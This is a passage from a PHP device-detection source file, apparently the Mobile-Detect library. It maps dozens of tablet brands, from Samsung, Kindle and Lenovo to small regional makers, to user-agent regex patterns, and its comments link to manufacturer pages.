        'SamsungTablet'     => 'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835|SM-T830|SM-T837V|SM-T720|SM-T510|SM-T387V|SM-P610|SM-T290|SM-T515|SM-T590|SM-T595|SM-T725|SM-T817P|SM-P585N0|SM-T395|SM-T295|SM-T865|SM-P610N|SM-P615|SM-T970|SM-T380|SM-T5950|SM-T905|SM-T231|SM-T500|SM-T860|SM-T536|SM-T837A|SM-X200|SM-T220|SM-T870|SM-X906C|SM-X700|SM-X706|SM-X706B|SM-X706U|SM-X706N|SM-X800|SM-X806|SM-X806B|SM-X806U|SM-X806N|SM-X900|SM-X906|SM-X906B|SM-X906U|SM-X906N|SM-P613', // SCH-P709|SCH-P729|SM-T2558|GT-I9205 - Samsung Mega - treat them like a regular phone.
        // http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html
        'Kindle'            => 'Kindle|Silk.*Accelerated|Android.*\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\b|Android.*Silk/[0-9.]+ like Chrome/[0-9.]+ (?!Mobile)',
        // Only the Surface tablets with Windows RT are considered mobile.
        // http://msdn.microsoft.com/en-us/library/ie/hh920767(v=vs.85).aspx
        'SurfaceTablet'     => 'Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)',
        // http://shopping1.hp.com/is-bin/INTERSHOP.enfinity/WFS/WW-USSMBPublicStore-Site/en_US/-/USD/ViewStandardCatalog-Browse?CatalogCategoryID=JfIQ7EN5lqMAAAEyDcJUDwMT
        'HPTablet'          => 'HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10',
        // Watch out for PadFone, see #132.
        // http://www.asus.com/de/Tablets_Mobile/Memo_Pad_Products/
        'AsusTablet'        => '^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\bK00F\b|\bK00C\b|\bK00E\b|\bK00L\b|TX201LA|ME176C|ME102A|\bM80TA\b|ME372CL|ME560CG|ME372CG|ME302KL| K01A | K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\bME70C\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\bP027\b|\bP024\b|\bP00C\b',
        'BlackBerryTablet'  => 'PlayBook|RIM Tablet',
        'HTCtablet'         => 'HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410',
        'MotorolaTablet'    => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617',
        'NookTablet'        => 'Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2',
        // http://www.acer.ro/ac/ro/RO/content/drivers
        // http://www.packardbell.co.uk/pb/en/GB/content/download (Packard Bell is part of Acer)
        // http://us.acer.com/ac/en/US/content/group/tablets
        // http://www.acer.de/ac/de/DE/content/models/tablets/
        // Can conflict with Micromax and Motorola phones codes.
        'AcerTablet'        => 'Android.*; \b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\b|W3-810|\bA3-A10\b|\bA3-A11\b|\bA3-A20\b|\bA3-A30|A3-A40',
        // http://eu.computers.toshiba-europe.com/innovation/family/Tablets/1098744/banner_id/tablet_footerlink/
        // http://us.toshiba.com/tablets/tablet-finder
        // http://www.toshiba.co.jp/regza/tablet/
        'ToshibaTablet'     => 'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO',
        // http://www.nttdocomo.co.jp/english/service/developer/smart_phone/technical_info/spec/index.html
        // http://www.lg.com/us/tablets
        'LGTablet'          => '\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b',
        'FujitsuTablet'     => 'Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b',
        // Prestigio Tablets http://www.prestigio.com/support
        'PrestigioTablet'   => 'PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002',
        // http://support.lenovo.com/en_GB/downloads/default.page?#
        'LenovoTablet'      => 'Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304X|TB-X304F|TB-X304L|TB-X505F|TB-X505L|TB-X505X|TB-X605F|TB-X605L|TB-8703F|TB-8703X|TB-8703N|TB-8704N|TB-8704F|TB-8704X|TB-8704V|TB-7304F|TB-7304I|TB-7304X|Tab2A7-10F|Tab2A7-20F|TB2-X30L|YT3-X50L|YT3-X50F|YT3-X50M|YT-X705F|YT-X703F|YT-X703L|YT-X705L|YT-X705X|TB2-X30F|TB2-X30L|TB2-X30M|A2107A-F|A2107A-H|TB3-730F|TB3-730M|TB3-730X|TB-7504F|TB-7504X|TB-X704F|TB-X104F|TB3-X70F|TB-X705F|TB-8504F|TB3-X70L|TB3-710F|TB-X704L|TB-J606F|TB-X606F|TB-X306X|YT-J706X|TB128FU',
        // http://www.dell.com/support/home/us/en/04/Products/tab_mob/tablets
        'DellTablet'        => 'Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7',
        'XiaomiTablet'      => '21051182G',
        // http://www.yarvik.com/en/matrix/tablets/
        'YarvikTablet'      => 'Android.*\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\b',
        'MedionTablet'      => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB',
        'ArnovaTablet'      => '97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2',
        // http://www.intenso.de/kategorie_en.php?kategorie=33
        // @todo: http://www.nbhkdz.com/read/b8e64202f92a2df129126bff.html - investigate
        'IntensoTablet'     => 'INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004',
        // IRU.ru Tablets http://www.iru.ru/catalog/soho/planetable/
        'IRUTablet'         => 'M702pro',
        'MegafonTablet'     => 'MegaFon V9|\bZTE V9\b|Android.*\bMT7A\b',
        // http://www.e-boda.ro/tablete-pc.html
        'EbodaTablet'       => 'E-Boda (Supreme|Impresspeed|Izzycomm|Essential)',
        // http://www.allview.ro/produse/droseries/lista-tablete-pc/
        'AllViewTablet'           => 'Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)',
        // http://wiki.archosfans.com/index.php?title=Main_Page
        // @note Rewrite the regex format after we add more UAs.
        'ArchosTablet'      => '\b(101G9|80G9|A101IT)\b|Qilive 97R|Archos5|\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\b',
        // http://www.ainol.com/plugin.php?identifier=ainol&module=product
        'AinolTablet'       => 'NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark',
        'NokiaLumiaTablet'  => 'Lumia 2520',
        // @todo: inspect http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER
        // Readers http://www.atsuhiro-me.net/ebook/sony-reader/sony-reader-web-browser
        // http://www.sony.jp/support/tablet/
        'SonyTablet'        => 'Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712',
        // http://www.support.philips.com/support/catalog/worldproducts.jsp?userLanguage=en&userCountry=cn&categoryid=3G_LTE_TABLET_SU_CN_CARE&title=3G%20tablets%20/%20LTE%20range&_dyncharset=UTF-8
        'PhilipsTablet'     => '\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b',
        // db + http://www.cube-tablet.com/buy-products.html
        'CubeTablet'        => 'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT',
        // http://www.cobyusa.com/?p=pcat&pcat_id=3001
        'CobyTablet'        => 'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010',
        // http://www.match.net.cn/products.asp
        'MIDTablet'         => 'M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10',
        // http://www.msi.com/support
        // @todo Research the Windows Tablets.
        'MSITablet' => 'MSI \b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\b',
        // @todo http://www.kyoceramobile.com/support/drivers/
    //    'KyoceraTablet' => null,
        // @todo http://intexuae.com/index.php/category/mobile-devices/tablets-products/
    //    'IntextTablet' => null,
        // http://pdadb.net/index.php?m=pdalist&list=SMiT (NoName Chinese Tablets)
        // http://www.imp3.net/14/show.php?itemid=20454
        'SMiTTablet'        => 'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)',
        // http://www.rock-chips.com/index.php?do=prod&pid=2
        'RockChipTablet'    => 'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A',
        // http://www.fly-phone.com/devices/tablets/ ; http://www.fly-phone.com/service/
        'FlyTablet'         => 'IQ310|Fly Vision',
        // http://www.bqreaders.com/gb/tablets-prices-sale.html
        'bqTablet'          => 'Android.*(bq)?.*\b(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))\b|Maxwell.*Lite|Maxwell.*Plus',
        // http://www.huaweidevice.com/worldwide/productFamily.do?method=index&directoryId=5011&treeId=3290
        // http://www.huaweidevice.com/worldwide/downloadCenter.do?method=index&directoryId=3372&treeId=0&tb=1&type=software (including legacy tablets)
        'HuaweiTablet'      => 'MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-L09|CMR-AL19|KOB2-L09|BG2-U01|BG2-W09|BG2-U03',
        // Nec or Medias Tab
        'NecTablet'         => '\bN-06D|\bN-08D',
        // Pantech Tablets: http://www.pantechusa.com/phones/
        'PantechTablet'     => 'Pantech.*P4100',
        // Broncho Tablets: http://www.broncho.cn/ (hard to find)
        'BronchoTablet'     => 'Broncho.*(N701|N708|N802|a710)',
        // http://versusuk.com/support.html
        'VersusTablet'      => 'TOUCHPAD.*[78910]|\bTOUCHTAB\b',
        // http://www.zync.in/index.php/our-products/tablet-phablets
        'ZyncTablet'        => 'z1000|Z99 2G|z930|z990|z909|Z919|z900', // Removed "z999" because of https://github.com/serbanghita/Mobile-Detect/issues/717
        // http://www.positivoinformatica.com.br/www/pessoal/tablet-ypy/
        'PositivoTablet'    => 'TB07STA|TB10STA|TB07FTA|TB10FTA',
        // https://www.nabitablet.com/
        'NabiTablet'        => 'Android.*\bNabi',
        'KoboTablet'        => 'Kobo Touch|\bK080\b|\bVox\b Build|\bArc\b Build',
        // French Danew Tablets http://www.danew.com/produits-tablette.php
        'DanewTablet'       => 'DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b',
        // Texet Tablets and Readers http://www.texet.ru/tablet/
        'TexetTablet'       => 'NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE',
        // Avoid detecting 'PLAYSTATION 3' as mobile.
        'PlaystationTablet' => 'Playstation.*(Portable|Vita)',
        // http://www.trekstor.de/surftabs.html
        'TrekstorTablet'    => 'ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab',
        // http://www.pyleaudio.com/Products.aspx?%2fproducts%2fPersonal-Electronics%2fTablets
        'PyleAudioTablet'   => '\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b',
        // http://www.advandigital.com/index.php?link=content-product&jns=JP001
        // because of the short codenames we have to include whitespaces to reduce the possible conflicts.
        'AdvanTablet'       => 'Android.* \b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\b ',
        // http://www.danytech.com/category/tablet-pc
        'DanyTechTablet' => 'Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1',
        // http://www.galapad.net/product.html ; https://github.com/serbanghita/Mobile-Detect/issues/761
        'GalapadTablet'     => 'Android [0-9.]+; [a-z-]+; \bG1\b',
        // http://www.micromaxinfo.com/tablet/funbook
        'MicromaxTablet'    => 'Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b',
        // http://www.karbonnmobiles.com/products_tablet.php
        'KarbonnTablet'     => 'Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b',
        // http://www.myallfine.com/Products.asp
        'AllFineTablet'     => 'Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide',
        // http://www.proscanvideo.com/products-search.asp?itemClass=TABLET&itemnmbr=
        'PROSCANTablet'     => '\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\b',
        // http://www.yonesnav.com/products/products.php
        'YONESTablet' => 'BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026',
        // http://www.cjshowroom.com/eproducts.aspx?classcode=004001001
        // China manufacturer makes tablets for different small brands (eg. http://www.zeepad.net/index.html)
        'ChangJiaTablet'    => 'TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503',
        // http://www.gloryunion.cn/products.asp
        // http://www.allwinnertech.com/en/apply/mobile.html
        // http://www.ptcl.com.pk/pd_content.php?pd_id=284 (EVOTAB)
        // @todo: Softwiner tablets?
        // aka. Cute or Cool tablets. Not sure yet, must research to avoid collisions.
        'GUTablet'          => 'TX-A1301|TX-M9002|Q702|kf026', // A12R|D75A|D77|D79|R83|A95|A106C|R15|A75|A76|D71|D72|R71|R73|R77|D82|R85|D92|A97|D92|R91|A10F|A77F|W71F|A78F|W78F|W81F|A97F|W91F|W97F|R16G|C72|C73E|K72|K73|R96G
        // http://www.pointofview-online.com/showroom.php?shop_mode=product_listing&category_id=118
        'PointOfViewTablet' => 'TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10',
        // http://www.overmax.pl/pl/katalog-produktow,p8/tablety,c14/
        // @todo: add more tests.
        'OvermaxTablet'     => 'OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore 1027',
        // http://hclmetablet.com/India/index.php
        'HCLTablet'         => 'HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync',
        // http://www.edigital.hu/Tablet_es_e-book_olvaso/Tablet-c18385.html
        'DPSTablet'         => 'DPS Dream 9|DPS Dual 7',
        // http://www.visture.com/index.asp
        'VistureTablet'     => 'V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10',
        // http://www.mijncresta.nl/tablet
        'CrestaTablet'     => 'CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989',
        // MediaTek - http://www.mediatek.com/_en/01_products/02_proSys.php?cata_sn=1&cata1_sn=1&cata2_sn=309
        'MediatekTablet' => '\bMT8125|MT8389|MT8135|MT8377\b',
        // Concorde tab
        'ConcordeTablet' => 'Concorde([ ]+)?Tab|ConCorde ReadMan',
        // GoClever Tablets - http://www.goclever.com/uk/products,c1/tablet,c5/
        'GoCleverTablet' => 'GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042',
        // Modecom Tablets - http://www.modecom.eu/tablets/portal/
        'ModecomTablet' => 'FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003',
        // Vonino Tablets
        'VoninoTablet'  => '\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\bQ8\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\b',
        // ECS Tablets - http://www.ecs.com.tw/ECSWebSite/Product/Product_Tablet_List.aspx?CategoryID=14&MenuID=107&childid=M_107&LanID=0
        'ECSTablet'     => 'V07OT2|TM105A|S10OT1|TR10CS1',
        // Storex Tablets - http://storex.fr/espace_client/support.html
        // @note: no need to add all the tablet codes since they are guided by the first regex.
        'StorexTablet'  => 'eZee[_\']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab',
        // Generic Vodafone tablets.
        'VodafoneTablet' => 'SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497|VFD 1400',
        // French tablets - Essentiel B http://www.boulanger.fr/tablette_tactile_e-book/tablette_tactile_essentiel_b/cl_68908.htm?multiChoiceToDelete=brand&mc_brand=essentielb
        // Aka: http://www.essentielb.fr/
        'EssentielBTablet' => 'Smart[ \']?TAB[ ]+?[0-9]+|Family[ \']?TAB2',
        // Ross & Moor - http://ross-moor.ru/
        'RossMoorTablet' => 'RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711',
        // i-mobile http://product.i-mobilephone.com/Mobile_Device
        'iMobileTablet'        => 'i-mobile i-note',
        // http://www.tolino.de/de/vergleichen/
        'TolinoTablet'  => 'tolino tab [0-9.]+|tolino shine',
        // AudioSonic - a Kmart brand
        // http://www.kmart.com.au/webapp/wcs/stores/servlet/Search?langId=-1&storeId=10701&catalogId=10001&categoryId=193001&pageSize=72&currentPage=1&searchCategory=193001%2b4294965664&sortBy=p_MaxPrice%7c1
        'AudioSonicTablet' => '\bC-22Q|T7-QC|T-17B|T-17P\b',
        // AMPE Tablets - http://www.ampe.com.my/product-category/tablets/
        // @todo: add them gradually to avoid conflicts.
        'AMPETablet' => 'Android.* A78 ',
        // Skk Mobile - http://skkmobile.com.ph/product_tablets.php
        'SkkTablet' => 'Android.* (SKYPAD|PHOENIX|CYCLOPS)',
        // Tecno Mobile (only tablet) - http://www.tecno-mobile.com/index.php/product?filterby=smart&list_order=all&page=1
        'TecnoTablet' => 'TECNO P9|TECNO DP8D',
        // JXD (consoles & tablets) - http://jxd.hk/products.asp?selectclassid=009008&clsid=3
        'JXDTablet' => 'Android.* \b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\b',
        // i-Joy tablets - http://www.i-joy.es/en/cat/products/tablets/
        'iJoyTablet' => 'Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)',
        // http://www.intracon.eu/tablet
        'FX2Tablet' => 'FX2 PAD7|FX2 PAD10',
        // http://www.xoro.de/produkte/
        // @note: Might be the same brand with 'Simply tablets'
        'XoroTablet'        => 'KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151',
        // http://www1.viewsonic.com/products/computing/tablets/
